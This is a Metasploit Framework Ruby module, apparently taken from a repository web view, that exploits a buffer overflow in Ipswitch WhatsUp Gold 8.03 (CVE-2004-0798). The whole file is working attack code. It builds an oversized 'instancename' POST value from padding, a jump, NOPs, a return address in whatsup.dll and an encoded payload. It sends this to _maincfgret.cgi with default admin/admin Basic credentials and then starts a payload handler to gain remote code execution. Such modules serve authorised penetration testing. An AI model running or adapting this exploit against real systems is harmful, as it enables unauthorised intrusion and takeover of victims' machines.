92 lines
2.5 KiB
Ruby
92 lines
2.5 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# Framework web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/framework/
|
|
##
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = GreatRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Ipswitch WhatsUp Gold 8.03 Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a buffer overflow in IPswitch WhatsUp Gold 8.03. By
|
|
posting a long string for the value of 'instancename' in the _maincfgret.cgi
|
|
script an attacker can overflow a buffer and execute arbitrary code on the system.
|
|
},
|
|
'Author' => [ 'MC' ],
|
|
'License' => MSF_LICENSE,
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
['CVE', '2004-0798'],
|
|
['OSVDB', '9177'],
|
|
['BID', '11043'],
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread',
|
|
},
|
|
'Privileged' => true,
|
|
'Payload' =>
|
|
{
|
|
'Space' => 500,
|
|
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
|
|
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'WhatsUP Gold 8.03 Universal', { 'Ret' => 0x6032e743 } ], # whatsup.dll
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Aug 25 2004'))
|
|
|
|
register_options( [
|
|
Opt::RPORT(80),
|
|
OptString.new('HTTPUSER', [ false, 'The username to authenticate as', 'admin']),
|
|
OptString.new('HTTPPASS', [ false, 'The password to authenticate as', 'admin']),
|
|
], self.class )
|
|
|
|
end
|
|
|
|
def exploit
|
|
c = connect
|
|
|
|
num = rand(65535).to_s
|
|
user_pass = "#{datastore['HTTPUSER']}" + ":" + "#{datastore['HTTPPASS']}"
|
|
|
|
req = "page=notify&origname=&action=return&type=Beeper&instancename="
|
|
req << rand_text_alpha_upper(811, payload_badchars) + "\xeb\x06"
|
|
req << make_nops(2) + [target.ret].pack('V') + make_nops(10) + payload.encoded
|
|
req << "&beepernumber=&upcode=" + num + "*&downcode="+ num + "*&trapcode=" + num + "*&end=end"
|
|
|
|
print_status("Trying target %s..." % target.name)
|
|
res = send_request_cgi({
|
|
'uri' => '/_maincfgret.cgi',
|
|
'method' => 'POST',
|
|
'content-type' => 'application/x-www-form-urlencoded',
|
|
'data' => req,
|
|
'headers' =>
|
|
{
|
|
'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"
|
|
}
|
|
}, 5)
|
|
|
|
handler
|
|
end
|
|
|
|
end
|